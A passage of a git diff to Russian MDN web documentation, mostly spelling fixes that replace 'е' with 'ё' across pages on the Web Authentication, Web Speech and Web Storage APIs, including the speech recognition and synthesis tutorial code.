{{domxref("AuthenticatorAttestationResponse.attestationObject")}}. The {{domxref("PublicKeyCredential")}} is sent back to the server using any desired formatting and protocol (note that the ArrayBuffer properties need to be be base64 encoded or similar).</li> <li><strong>Сервер проверят и завершает регистрацию</strong> - Finally, the server is required to perform a series of checks to ensure that the registration was complete and not tampered with. These include: <ol> @@ -67,8 +67,8 @@ translation_of: Web/API/Web_Authentication_API <li><strong>Приложение запрашивает аутентификацию</strong> - The application makes the initial authentication request. The protocol and format of this request is outside of the scope of the Web Authentication API.</li> <li><strong>Server Sends Challenge</strong> - The server sends a challenge to the JavaScript program. The protocol for communicating with the server is not specified and is outside of the scope of the Web Authentication API. Typically, server communications would be <a href="/en-US/docs/Glossary/REST">REST</a> over https (probably using <a href="/en-US/docs/User:maybe/webidl_mdn/XMLHttpRequest_API">XMLHttpRequest</a> or <a href="/en-US/docs/Web/API/Fetch_API">Fetch</a>), but they could also be <a href="/en-US/docs/Glossary/SOAP">SOAP</a>, <a href="https://tools.ietf.org/html/rfc2549">RFC 2549</a> or nearly any other protocol provided that the protocol is secure. The parameters received from the server will be passed to the <a href="/en-US/docs/Web/API/CredentialsContainer/get">get()</a> call, typically with little or no modification. <strong>Note that it is absolutely critical that the challenge be a buffer of random information (at least 16 bytes) and it MUST be generated on the server in order to ensure the security of the authentication process.</strong></li> <li><strong>Браузер вызывает authenticatorGetCredential() для аутентификатора</strong> - Internally, the browser will validate the parameters and fill in any defaults, which become the {{domxref("AuthenticatorResponse.clientDataJSON")}}. One of the most important parameters is the origin, which recorded as part of the clientData so that the origin can be verified by the server later. The parameters to the get() call are passed to the authenticator, along with a SHA-256 hash of the clientDataJSON (only a hash is sent because the link to the authenticator may be a low-bandwidth NFC or Bluetooth link and the authenticator is just going to sign over the hash to ensure that it isn't tampered with).</li> - <li><strong>Аутентификатор создает подпись</strong> - The authenticator finds a credential for this service that matches the Relying Party ID and prompts a user to consent to the authentication. Assuming both of those steps are successful, the authenticator will create a new assertion by signing over the clientDataHash and authenticatorData with the private key generated for this account during the registration call.</li> - <li><strong>Аутентификатор передает информацию в браузер</strong> - The authenticator returns the authenticatorData and assertion signature back to the browser.</li> + <li><strong>Аутентификатор создаёт подпись</strong> - The authenticator finds a credential for this service that matches the Relying Party ID and prompts a user to consent to the authentication. Assuming both of those steps are successful, the authenticator will create a new assertion by signing over the clientDataHash and authenticatorData with the private key generated for this account during the registration call.</li> + <li><strong>Аутентификатор передаёт информацию в браузер</strong> - The authenticator returns the authenticatorData and assertion signature back to the browser.</li> <li><strong>Браузер создаёт итоговый набор данных, приложение отвечает серверу</strong> - The browser resolves the <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise">Promise</a> to a {{domxref("PublicKeyCredential")}} with a {{domxref("PublicKeyCredential.response")}} that contains the {{domxref("AuthenticatorAssertionResponse")}}. It is up to the JavaScript application to transmit this data back to the server using any protocol and format of its choice.</li> <li><strong>Сервер проверят и завершает аутентификацию</strong> - Upon receiving the result of the authentication request, the server performs validation of the response such as: <ol> diff --git a/files/ru/web/api/web_speech_api/index.html b/files/ru/web/api/web_speech_api/index.html index 3398c86aad..1a844c744f 100644 --- a/files/ru/web/api/web_speech_api/index.html +++ b/files/ru/web/api/web_speech_api/index.html @@ -14,7 +14,7 @@ translation_of: Web/API/Web_Speech_API <p>Web Speech API позволяет веб приложениям управлять голосовыми данными. Существует два компонента к этому API:</p> <ul> - <li>Распознавание голоса. Доступ обеспечивается через {{domxref("SpeechRecognition")}} интерфейс, который в свою очередь обеспечивает возможность распознавать текст из входящего аудио потока (обычно через устройство распознавания речи в устройстве по умолчанию) и отвечать соответственно. Воспользовавшись конструктором интерфейса вы можете создать новый {{domxref("SpeechRecognition")}} объект, у которого есть ряд событий для обнаружения начала речи через микрофон устройства. {{domxref("SpeechGrammar")}} интерфейс предоставляет контейнер для определенного набора грамматики, которое ваше приложение должно использовать. Грамматика определяется с помощью <a href="http://www.w3.org/TR/jsgf/">JSpeech Grammar Format</a> (<strong>JSGF</strong>.)</li> + <li>Распознавание голоса. Доступ обеспечивается через {{domxref("SpeechRecognition")}} интерфейс, который в свою очередь обеспечивает возможность распознавать текст из входящего аудио потока (обычно через устройство распознавания речи в устройстве по умолчанию) и отвечать соответственно. Воспользовавшись конструктором интерфейса вы можете создать новый {{domxref("SpeechRecognition")}} объект, у которого есть ряд событий для обнаружения начала речи через микрофон устройства. {{domxref("SpeechGrammar")}} интерфейс предоставляет контейнер для определённого набора грамматики, которое ваше приложение должно использовать. Грамматика определяется с помощью <a href="http://www.w3.org/TR/jsgf/">JSpeech Grammar Format</a> (<strong>JSGF</strong>.)</li> <li>Доступ к синтезу речи осуществляется с помощью {{domxref("SpeechSynthesis")}} интерфейса, компонент text-to-speech позволяет приложениям прочесть свой текстовый контент (обычно через дефолтный синтезатор речи устройства). В {{domxref("SpeechSynthesisVoice")}} объектах есть различные типы голоса, и различным частям текста можно назначать {{domxref("SpeechSynthesisUtterance")}} объекты. Можно начать воспроизведение передав их методу {{domxref("SpeechSynthesis.speak()")}}.</li> </ul> diff --git a/files/ru/web/api/web_speech_api/using_the_web_speech_api/index.html b/files/ru/web/api/web_speech_api/using_the_web_speech_api/index.html index 27aa08113f..c78a987ba5 100644 --- a/files/ru/web/api/web_speech_api/using_the_web_speech_api/index.html +++ b/files/ru/web/api/web_speech_api/using_the_web_speech_api/index.html @@ -9,11 +9,11 @@ tags: - Синтез речи translation_of: Web/API/Web_Speech_API/Using_the_Web_Speech_API --- -<p class="summary">Web Speech API предоставляет 2 основных типа функционала — <a href="https://developer.mozilla.org/ru/docs/Web/API/SpeechRecognition">распознавание речи пользователя</a> и <a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis">речевое воспроизведение текста</a>. Это предоставляет новые возможности для взаимодействия с интерфейсом и открывает перед нами новые горизонты создания уникального пользовательского опыта. Эта статья дает краткое описание обоих направлений с примерами кода и ссылкой на работающее приложение онлайн.</p> +<p class="summary">Web Speech API предоставляет 2 основных типа функционала — <a href="https://developer.mozilla.org/ru/docs/Web/API/SpeechRecognition">распознавание речи пользователя</a> и <a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis">речевое воспроизведение текста</a>. Это предоставляет новые возможности для взаимодействия с интерфейсом и открывает перед нами новые горизонты создания уникального пользовательского опыта. Эта статья даёт краткое описание обоих направлений с примерами кода и ссылкой на работающее приложение онлайн.</p> <h2 id="Распознавание_речи">Распознавание речи</h2> -<p>Механизм распознавания речи способен принимать речевой поток через микрофон устройства, а затем проверять его, используя свои внутренние алгоритмы. Для более точной работы рекомендуется использовать интерфейс <a href="https://developer.mozilla.org/ru/docs/Web/API/SpeechGrammar">SpeechGrammar</a>, предоставляющий контейнер для определенного набора грамматики, которое ваше приложение должно использовать. Грамматика определяется с помощью <a href="https://www.w3.org/TR/jsgf/">JSpeech Grammar Format(JSGF.)</a>.</p> +<p>Механизм распознавания речи способен принимать речевой поток через микрофон устройства, а затем проверять его, используя свои внутренние алгоритмы. Для более точной работы рекомендуется использовать интерфейс <a href="https://developer.mozilla.org/ru/docs/Web/API/SpeechGrammar">SpeechGrammar</a>, предоставляющий контейнер для определённого набора грамматики, которое ваше приложение должно использовать. Грамматика определяется с помощью <a href="https://www.w3.org/TR/jsgf/">JSpeech Grammar Format(JSGF.)</a>.</p> <p>После того, как пользовательская речь была распознана, алгоритм возвращает результат (список результатов) в качестве текстовой строки, с которой мы можем продолжить работу.</p> @@ -33,7 +33,7 @@ translation_of: Web/API/Web_Speech_API/Using_the_Web_Speech_API <h3 id="Браузерная_поддержка">Браузерная поддержка</h3> -<p>Поддержка интерфейса еще только распространяется на основные браузеры, и на текущий момент ограничена следующим образом:</p> +<p>Поддержка интерфейса ещё только распространяется на основные браузеры, и на текущий момент ограничена следующим образом:</p> <ul> <li dir="ltr"> @@ -50,7 +50,7 @@ translation_of: Web/API/Web_Speech_API/Using_the_Web_Speech_API <p>Разметка и стили предельно просты. У нас есть значок микрофона, на который мы можем кликнуть для начала записи, анимация звукозаписи, которая включается после клика, и фоновый контейнер, который будет изменять свой цвет, в зависимости от того, что озвучит пользователь.</p> -<p>CSS задает простые отзывчивые стили, для корректного отображения и работы на всех устройствах</p> +<p>CSS задаёт простые отзывчивые стили, для корректного отображения и работы на всех устройствах</p> <h3 id="JavaScript">JavaScript</h3> @@ -74,8 +74,8 @@ const SpeechRecognitionEvent = window.SpeechRecognitionEvent || window.webkitSpe <pre>const colors = { красный: 'red', оранжевый: 'orange', - желтый: 'yellow', - зеленый: 'green', + жёлтый: 'yellow', + зелёный: 'green', голубой: 'blue', синий: 'darkblue', фиолетовый: 'violet' @@ -100,7 +100,7 @@ const grammar = '#JSGF V1.0; grammar colors; public <color> = ' + colorsLi <p dir="ltr">Вторая строка указывает значение, которое мы хотим распознать. public объявляет, что это общедоступное правило, строка в угловых скобках определяет распознанное имя для этого значения (цвет), а список элементов, следующих за знаком равенства, - это альтернативные варианты, которые будут распознаны и могут быть приняты в качестве возможного значения. Обратите внимание, как каждый из них разделяется вертикальной линией (“|” - “pipe character”).</p> </li> <li dir="ltr"> - <p dir="ltr">У вас может быть множество значений, определенных отдельно, как указано выше, и содержащих довольно сложные определения грамматики. Для нашего демонстрационного примера мы делаем все просто.</p> + <p dir="ltr">У вас может быть множество значений, определённых отдельно, как указано выше, и содержащих довольно сложные определения грамматики. Для нашего демонстрационного примера мы делаем все просто.</p> </li> </ul> @@ -108,7 +108,7 @@ const grammar = '#JSGF V1.0; grammar colors; public <color> = ' + colorsLi <p>Следующее, что нужно сделать, это определить экземпляр объекта распознавания речи для управления записью нашего приложения.</p> -<p dir="ltr">Это делается с помощью конструктора <code>SpeechRecognition()</code>. Мы также создаем новый речевой грамматический список, чтобы содержать нашу грамматику, используя конструктор <code>SpeechGrammarList()</code>.</p> +<p dir="ltr">Это делается с помощью конструктора <code>SpeechRecognition()</code>. Мы также создаём новый речевой грамматический список, чтобы содержать нашу грамматику, используя конструктор <code>SpeechGrammarList()</code>.</p> <pre>const recognition = new SpeechRecognition(); const speechRecognitionList = new SpeechGrammarList();</pre> @@ -118,7 +118,7 @@ const speechRecognitionList = new SpeechGrammarList();</pre> <pre class="brush: js">speechRecognitionList.addFromString(grammar, 1); </pre> -<p dir="ltr">Затем мы добавляем <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechGrammarList">SpeechGrammarList</a></code> к уже созданному объекту распознавания речи, присваивая его значение свойству <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/grammars">SpeechRecognition.grammars</a></code>. Также зададим еще несколько свойств объекту, прежде чем двигаться дальше:</p> +<p dir="ltr">Затем мы добавляем <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechGrammarList">SpeechGrammarList</a></code> к уже созданному объекту распознавания речи, присваивая его значение свойству <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/grammars">SpeechRecognition.grammars</a></code>. Также зададим ещё несколько свойств объекту, прежде чем двигаться дальше:</p> <ul> <li dir="ltr"> @@ -140,14 +140,14 @@ recognition.maxAlternatives = 1; </pre> <div class="note"> -<p dir="ltr"><strong>Внимание:</strong> <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/continuous">SpeechRecognition.continuous</a></code> задает, отслеживаются ли продолжающиеся результаты или только 1 результат, каждый раз, когда запись начата. Это закомментировано, поскольку данное свойство в еще не реализовано в Gecko.</p> +<p dir="ltr"><strong>Внимание:</strong> <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/continuous">SpeechRecognition.continuous</a></code> задаёт, отслеживаются ли продолжающиеся результаты или только 1 результат, каждый раз, когда запись начата. Это закомментировано, поскольку данное свойство в ещё не реализовано в Gecko.</p> <p dir="ltr">Вы можете получить аналогичный результат, просто прекратив распознавание после получения первого результата.</p> </div> <h4 id="Запуск_распознавания_речи">Запуск распознавания речи</h4> -<p>После получения ссылок на DOM-элементы, необходимые нам для обработки пользовательских событий и обновления цвета фона приложения, мы реализуем обработчик <code>onclick</code>, чтобы при нажатии на значок микрофона сервис распознавания речи начинал работу. Запуск происходит путем вызова функции <code>SpeechRecognition.start()</code>.</p> +<p>После получения ссылок на DOM-элементы, необходимые нам для обработки пользовательских событий и обновления цвета фона приложения, мы реализуем обработчик <code>onclick</code>, чтобы при нажатии на значок микрофона сервис распознавания речи начинал работу. Запуск происходит путём вызова функции <code>SpeechRecognition.start()</code>.</p> <pre>microphoneIcon.onclick = function() { recognition.start(); @@ -162,7 +162,7 @@ recognition.onaudiostart = function() { <h4 id="Получение_и_обработка_результата">Получение и обработка результата</h4> -<p>После того, как процесс распознавания речи был запущен, есть много обработчиков событий, которые могут быть использованы для работы с результатом и другой сопутствующей информацией (см. <a href="https://developer.mozilla.org/ru/docs/Web/API/SpeechRecognition#%D0%9E%D0%B1%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D1%87%D0%B8%D0%BA%D0%B8_%D1%81%D0%BE%D0%B1%D1%8B%D1%82%D0%B8%D0%B9">Список обработчиков событий SpeechRecognition</a>.) Наиболее распространенный, который вы, вероятно, и будете использовать, это <a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/onresult">SpeechRecognition.onresult</a>, который запускается сразу после получения успешного результата. Значение цвета получаем вызовом функции <code>getColor()</code></p> +<p>После того, как процесс распознавания речи был запущен, есть много обработчиков событий, которые могут быть использованы для работы с результатом и другой сопутствующей информацией (см. <a href="https://developer.mozilla.org/ru/docs/Web/API/SpeechRecognition#%D0%9E%D0%B1%D1%80%D0%B0%D0%B1%D0%BE%D1%82%D1%87%D0%B8%D0%BA%D0%B8_%D1%81%D0%BE%D0%B1%D1%8B%D1%82%D0%B8%D0%B9">Список обработчиков событий SpeechRecognition</a>.) Наиболее распространённый, который вы, вероятно, и будете использовать, это <a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/onresult">SpeechRecognition.onresult</a>, который запускается сразу после получения успешного результата. Значение цвета получаем вызовом функции <code>getColor()</code></p> <pre>function getColor(speechResult) { for (let index = 0; index < colorsList.length; index += 1) { @@ -182,7 +182,7 @@ recognition.onresult = function(event) { console.log('Confidence: ' + event.results[0][0].confidence); };</pre> -<p>Третья строка здесь выглядит немного усложненной, поэтому давайте разберемся с ней подробнее. Свойство <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognitionEvent/results">SpeechRecognitionEvent.results</a></code> возвращает объект <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognitionResultList">SpeechRecognitionResultList</a></code>, содержащий в себе другие объекты типа <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognitionResult">SpeechRecognitionResult</a></code>. У него есть геттер, поэтому он может быть доступен как массив, поэтому переменная <code>last</code> определяет ссылку на <code>SpeechRecognitionResult</code> из списка. Каждый объект <code>SpeechRecognitionResult</code> содержит объекты <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognitionAlternative">SpeechRecognitionAlternative</a></code>, которые содержат отдельные распознанные слова. Они также имеют геттеры, поэтому к ним можно получить доступ как к массивам, поэтому логично, что [0] возвращает значение <code>SpeechRecognitionAlternative</code> по индексу 0. Затем мы возвращаем строку, содержащую индивидуально распознанный результат, используя который и можем установить цвет фона.</p> +<p>Третья строка здесь выглядит немного усложнённой, поэтому давайте разберёмся с ней подробнее. Свойство <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognitionEvent/results">SpeechRecognitionEvent.results</a></code> возвращает объект <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognitionResultList">SpeechRecognitionResultList</a></code>, содержащий в себе другие объекты типа <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognitionResult">SpeechRecognitionResult</a></code>. У него есть геттер, поэтому он может быть доступен как массив, поэтому переменная <code>last</code> определяет ссылку на <code>SpeechRecognitionResult</code> из списка. Каждый объект <code>SpeechRecognitionResult</code> содержит объекты <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognitionAlternative">SpeechRecognitionAlternative</a></code>, которые содержат отдельные распознанные слова. Они также имеют геттеры, поэтому к ним можно получить доступ как к массивам, поэтому логично, что [0] возвращает значение <code>SpeechRecognitionAlternative</code> по индексу 0. Затем мы возвращаем строку, содержащую индивидуально распознанный результат, используя который и можем установить цвет фона.</p> <p>Мы также используем свойство <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/onspeechend">SpeechRecognition.speechend</a></code>, чтобы задать обработчик на завершение работы распознавателя речи (вызов <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/stop">SpeechRecognition.stop()</a></code> ), как только одно слово было распознано, и входящий речевой поток был остановлен.</p> @@ -196,7 +196,7 @@ recognition.onresult = function(event) { <h4 id="Обработка_ошибок">Обработка ошибок</h4> -<p>Последние два обработчика используются для отлова ошибок: когда речь была признана не в соответствии с определенной грамматикой или произошла ошибка. По логике, <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/onnomatch">SpeechRecognition.onnomatch</a></code>, должен обрабатывать первый случай, но обратите внимание, что на данный момент он не срабатывает правильно в Firefox или Chrome, он просто возвращает все, что было распознано в любом случае:</p> +<p>Последние два обработчика используются для отлова ошибок: когда речь была признана не в соответствии с определённой грамматикой или произошла ошибка. По логике, <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechRecognition/onnomatch">SpeechRecognition.onnomatch</a></code>, должен обрабатывать первый случай, но обратите внимание, что на данный момент он не срабатывает правильно в Firefox или Chrome, он просто возвращает все, что было распознано в любом случае:</p> <pre>recognition.onnomatch = function(event) { alert("I didn't recognise that color."); @@ -229,7 +229,7 @@ recognition.onresult = function(event) { <h3 id="Браузерная_поддержка_2">Браузерная поддержка</h3> -<p>Поддержка интерфейса еще только распространяется на основные браузеры, и на текущий момент ограничена следующим образом:</p> +<p>Поддержка интерфейса ещё только распространяется на основные браузеры, и на текущий момент ограничена следующим образом:</p> <ul> <li dir="ltr"> @@ -252,7 +252,7 @@ recognition.onresult = function(event) { Заголовок и форму с некоторыми простыми элементами управления.<br> Элемент <code><select> </code>изначально пуст, но заполняется с помощью <code><option></code> через JavaScript (см. ниже).</p> -<p>CSS задает простые отзывчивые стили, для корректного отображения и работы на всех устройствах</p> +<p>CSS задаёт простые отзывчивые стили, для корректного отображения и работы на всех устройствах</p> <pre><section> <h1>Синтез речи</h1> @@ -292,7 +292,7 @@ recognition.onresult = function(event) { <h4 id="Задание_переменных">Задание переменных</h4> -<p>Прежде всего, создаем ссылки на все нужные нам DOM-элементы.</p> +<p>Прежде всего, создаём ссылки на все нужные нам DOM-элементы.</p> <p dir="ltr">Входная точка API - <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/Window/speechSynthesis">window.speechSynthesis</a></code>, возвращает экземпляр <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis">SpeechSynthesis</a></code>, интерфейс контроллера для синтеза речи в вебе.</p> @@ -308,9 +308,9 @@ let voices = [];</pre> <h4 id="Заполнение_выпадающего_списка">Заполнение выпадающего списка</h4> -<p>Чтобы заполнить элемент <code><a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/select"><select></a></code> различными вариантами голоса, доступных на устройстве, напишем функцию <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis/getVoices">populateVoiceList()</a></code>. Сначала мы вызываем <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis/getVoices">SpeechSynthesis.getVoices()</a></code>, который возвращает список всех доступных вариантов голосов, представленных объектами <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice">SpeechSynthesisVoice</a></code>. Затем мы проходимся по списку, создавая элемент <code><a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/option"><option></a></code> для каждого отдельного случая, задаем его текстовое содержимое, соответствующее названию голоса (взято из <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice/name">SpeechSynthesisVoice.name</a></code>), языка голоса (из <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice/lang">SpeechSynthesisVoice.lang</a></code>), и “по умолчанию”, если голос является голосом по умолчанию для механизма синтеза (проверяется, если функция <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice/default">SpeechSynthesisVoice.default</a></code> возвращает значение <code>true</code>.)</p> +<p>Чтобы заполнить элемент <code><a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/select"><select></a></code> различными вариантами голоса, доступных на устройстве, напишем функцию <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis/getVoices">populateVoiceList()</a></code>. Сначала мы вызываем <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis/getVoices">SpeechSynthesis.getVoices()</a></code>, который возвращает список всех доступных вариантов голосов, представленных объектами <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice">SpeechSynthesisVoice</a></code>. Затем мы проходимся по списку, создавая элемент <code><a href="https://developer.mozilla.org/ru/docs/Web/HTML/Element/option"><option></a></code> для каждого отдельного случая, задаём его текстовое содержимое, соответствующее названию голоса (взято из <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice/name">SpeechSynthesisVoice.name</a></code>), языка голоса (из <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice/lang">SpeechSynthesisVoice.lang</a></code>), и “по умолчанию”, если голос является голосом по умолчанию для механизма синтеза (проверяется, если функция <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice/default">SpeechSynthesisVoice.default</a></code> возвращает значение <code>true</code>.)</p> -<p>Мы также задаем <code>data-</code> атрибуты для каждого варианта, содержащие имя и язык связанного голоса, благодаря чему мы можем легко их собрать их позже, а затем вложить все варианты в качестве дочерних элементов нашего списка (<code><select></code>).</p> +<p>Мы также задаём <code>data-</code> атрибуты для каждого варианта, содержащие имя и язык связанного голоса, благодаря чему мы можем легко их собрать их позже, а затем вложить все варианты в качестве дочерних элементов нашего списка (<code><select></code>).</p> <pre>function populateVoiceList() { voices = synth.getVoices(); @@ -340,11 +340,11 @@ let voices = [];</pre> speechSynthesis.onvoiceschanged = populateVoiceList; }</pre> -<h4 id="Озвучка_введенного_текста">Озвучка введенного текста</h4> +<h4 id="Озвучка_введённого_текста">Озвучка введённого текста</h4> -<p>Затем мы создаем обработчик событий, чтобы начать “произносить” текст, введенный в текстовом поле, при нажатии на кнопку <code>Enter/Return</code> или на <code>Play</code>. Для этого используем обработчик <code><a href="https://developer.mozilla.org/ru/docs/Web/API/GlobalEventHandlers/onsubmit">onsubmit</a></code> в html-формы. В функции-обработчике <code>speak()</code> мы создаем новый экземпляр <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance/SpeechSynthesisUtterance">SpeechSynthesisUtterance()</a></code>, передавая значение текстового поля в конструктор.</p> +<p>Затем мы создаём обработчик событий, чтобы начать “произносить” текст, введённый в текстовом поле, при нажатии на кнопку <code>Enter/Return</code> или на <code>Play</code>. Для этого используем обработчик <code><a href="https://developer.mozilla.org/ru/docs/Web/API/GlobalEventHandlers/onsubmit">onsubmit</a></code> в html-формы. В функции-обработчике <code>speak()</code> мы создаём новый экземпляр <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance/SpeechSynthesisUtterance">SpeechSynthesisUtterance()</a></code>, передавая значение текстового поля в конструктор.</p> -<p dir="ltr">Затем нам нужно выяснить, какой голос использовать. Мы используем свойство <code><a href="https://developer.mozilla.org/ru/docs/Web/API/HTMLSelectElement">HTMLSelectElement</a></code> <code>selectedOptions</code> для получения выбранного элемента <code><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/option"><option></a></code>, у которого берем атрибут data-name, и находим объект <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice">SpeechSynthesisVoice</a></code>, имя которого соответствует значению имеющегося атрибута. После этого устанавливаем соответствующий “голосовой” объект как значение свойства <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance/voice">SpeechSynthesisUtterance.voice</a></code>.</p> +<p dir="ltr">Затем нам нужно выяснить, какой голос использовать. Мы используем свойство <code><a href="https://developer.mozilla.org/ru/docs/Web/API/HTMLSelectElement">HTMLSelectElement</a></code> <code>selectedOptions</code> для получения выбранного элемента <code><a href="https://developer.mozilla.org/en-US/docs/Web/HTML/Element/option"><option></a></code>, у которого берём атрибут data-name, и находим объект <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisVoice">SpeechSynthesisVoice</a></code>, имя которого соответствует значению имеющегося атрибута. После этого устанавливаем соответствующий “голосовой” объект как значение свойства <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance/voice">SpeechSynthesisUtterance.voice</a></code>.</p> <p>Наконец, мы устанавливаем <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance/pitch">SpeechSynthesisUtterance.pitch</a></code> (высота тона) и <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance/rate">SpeechSynthesisUtterance.rate</a></code> (скорость) в соответствии со значениями соответствующих элементов формы. Затем, после всего проделанного, мы запускаем произношение речи, вызывая <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis/speak">SpeechSynthesis.speak()</a></code>, и передавая ему экземпляр <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance">SpeechSynthesisUtterance</a></code> в качестве аргумента.</p> @@ -353,7 +353,7 @@ let voices = [];</pre> <p>В последней части функции мы включаем обработчик <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisUtterance/onpause">SpeechSynthesisUtterance.onpause</a></code>, чтобы показать пример применения <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesisEvent">SpeechSynthesisEvent</a></code> в различных ситуациях. Вызов <code><a href="https://developer.mozilla.org/en-US/docs/Web/API/SpeechSynthesis/pause">SpeechSynthesis.pause() </a></code>возвращает сообщение с информацией о номере символа и слове, на котором была вызвана пауза.</p> -<p>Наконец, мы назовем <code>blur()</code> у текстового поля. Это, прежде всего, для того, чтобы скрыть клавиатуру в ОС Firefox.</p> +<p>Наконец, мы назовём <code>blur()</code> у текстового поля. Это, прежде всего, для того, чтобы скрыть клавиатуру в ОС Firefox.</p> <pre>function speak() { if (synth.speaking) { diff --git a/files/ru/web/api/web_storage_api/index.html b/files/ru/web/api/web_storage_api/index.html index e162603b6b..63f15e9736 100644 --- a/files/ru/web/api/web_storage_api/index.html +++ b/files/ru/web/api/web_storage_api/index.html @@ -14,14 +14,14 @@ translation_of: Web/API/Web_Storage_API <li><code>локальное хранилище (localStorage)</code> делает то же самое, но сохраняет данные даже в случае, если переоткрыть браузер. </li> </ul> -<p>Обе функции доступны через {{domxref("Window.sessionStorage")}} и {{domxref("Window.localStorage")}} свойства (если быть более точным, в браузерах, поддерживающих хранилища объект <code>Window</code> выполняет объекты <code>WindowLocalStorage</code> и <code>WindowSessionStorage</code>, которые содержат свойства <code>localStorage</code> и <code>sessionStorage</code>) — вызов одного из них создает представление объекта {{domxref("Storage")}}, через который можно устанавливать, редактировать и удалять данные. Для каждого из типа хранилищ и по каждому домену используется отдельное представление Storage объекта - они функционируют и управляются отдельно друг от друга. </p> +<p>Обе функции доступны через {{domxref("Window.sessionStorage")}} и {{domxref("Window.localStorage")}} свойства (если быть более точным, в браузерах, поддерживающих хранилища объект <code>Window</code> выполняет объекты <code>WindowLocalStorage</code> и <code>WindowSessionStorage</code>, которые содержат свойства <code>localStorage</code> и <code>sessionStorage</code>) — вызов одного из них создаёт представление объекта {{domxref("Storage")}}, через который можно устанавливать, редактировать и удалять данные. Для каждого из типа хранилищ и по каждому домену используется отдельное представление Storage объекта - они функционируют и управляются отдельно друг от друга. </p> <div class="note"> -<p><strong>Замечание: </strong>Начиная с версии 45 Firefox, когда браузер прекращает работу/перезагружается, объем данных, сохраненных для каждого источника, ограничивается 10 МБ. Это было сделано, чтобы избежать проблем с памятью, вызванных чрезмерным использованием веб-хранилища.</p> +<p><strong>Замечание: </strong>Начиная с версии 45 Firefox, когда браузер прекращает работу/перезагружается, объем данных, сохранённых для каждого источника, ограничивается 10 МБ. Это было сделано, чтобы избежать проблем с памятью, вызванных чрезмерным использованием веб-хранилища.</p> </div> <div class="note"> -<p><strong>Замечание: </strong>Доступ к веб хранилищу из iFrame третьей стороны запрещен, если пользователь <a href="https://support.mozilla.org/ru/kb/disable-third-party-cookies">отключил cookies третьих сторон</a> (Firefox ведёт себя так с <a href="https://developer.mozilla.org/ru/docs/Mozilla/Firefox/Releases/43">версии 43</a>).</p> +<p><strong>Замечание: </strong>Доступ к веб хранилищу из iFrame третьей стороны запрещён, если пользователь <a href="https://support.mozilla.org/ru/kb/disable-third-party-cookies">отключил cookies третьих сторон</a> (Firefox ведёт себя так с <a href="https://developer.mozilla.org/ru/docs/Mozilla/Firefox/Releases/43">версии 43</a>).</p> </div> <div class="note"> @@ -41,7 +41,7 @@ translation_of: Web/API/Web_Storage_API <h2 id="Примеры">Примеры</h2> -<p>Чтобы проиллюстрировать типичное использование веб хранилища, мы создали простейший пример и назвали его <a href="https://github.com/mdn/dom-examples/tree/master/web-storage">Web Storage Demo</a>. На <a href="https://mdn.github.io/dom-examples/web-storage/">лендинге</a> нашего примера вы найдете элементы управления для изменения фонового цвета, шрифта и изображения. Когда вы выбираете 